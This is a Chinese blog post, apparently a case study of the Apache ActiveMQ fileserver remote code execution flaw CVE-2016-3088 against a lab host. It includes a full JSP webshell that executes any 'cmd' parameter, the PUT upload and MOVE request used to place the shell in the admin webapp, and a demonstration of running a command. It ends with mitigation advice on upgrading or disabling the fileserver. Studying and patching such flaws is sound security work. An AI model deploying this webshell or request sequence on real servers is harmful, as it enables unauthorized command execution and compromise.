Apache ActiveMQ 远程代码执行漏洞 (CVE-2016-3088)案例分析
部署ActiveMQ运行环境
在linux上部署apache-activemq-5.10.0-bin.tar.gz
通过tar -zxvf apache-activemq-5.10.0-bin.tar.gz解压mq
由于是弱密码,所以可以直接密码登录admin/admin
注意:
如果是密码错误或者不输入密码,则显示如下
输入正确的密码后,通过BurpSuite抓包如下
抓包如下:
改成PUT方法:
此时,htxk.jsp内容为空
重新生成htxk.jsp,文件内容为jsp一句话木马
<%@ page import="java.io.*"%> <% out.print("Hello</br>"); String strcmd = request.getParameter("cmd"); String line =null; Process p=Runtime.getRuntime().exec(strcmd); InputStream is = p.getInputStream(); BufferedReader br = new BufferedReader(new InputStreamReader(is)); while((line =br.readLine())!=null){ out.print(line+"<br>"); } %>
查看是否可以执行
可惜没有权限执行
爆出mq的绝对路径
然后利用 MOVE 方法将 Webshell 移入 admin/ 目录(也可以利用相对路径)
MOVE /fileserver/htxk.jsp HTTP/1.1
Destination: file:///home/local/apache-activemq-5.10.0/webapps/admin/htxk.jsp
Host: 192.168.10.106:8161
访问http://192.168.10.106:8161/admin/htxk.jsp?cmd=ls ,命令成功执行,效果如下
解决方法:
5. 漏洞防护方案
1、ActiveMQ Fileserver 的功能在 5.14.0 及其以后的版本中已被移除。建议用户升级至 5.14.0 及其以后版本。
2、通过移除 conf\jetty.xml
的以下配置来禁用 ActiveMQ Fileserver 功能
修复成功
存在漏洞的配置:
https://paper.seebug.org/346/
https://www.seebug.org/vuldb/ssvid-96268
作者:Agoly 出处:https://www.cnblogs.com/qmfsun/ 本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接,否则保留追究法律责任的权利。 如果文中有什么错误,欢迎指出。以免更多的人被误导。 |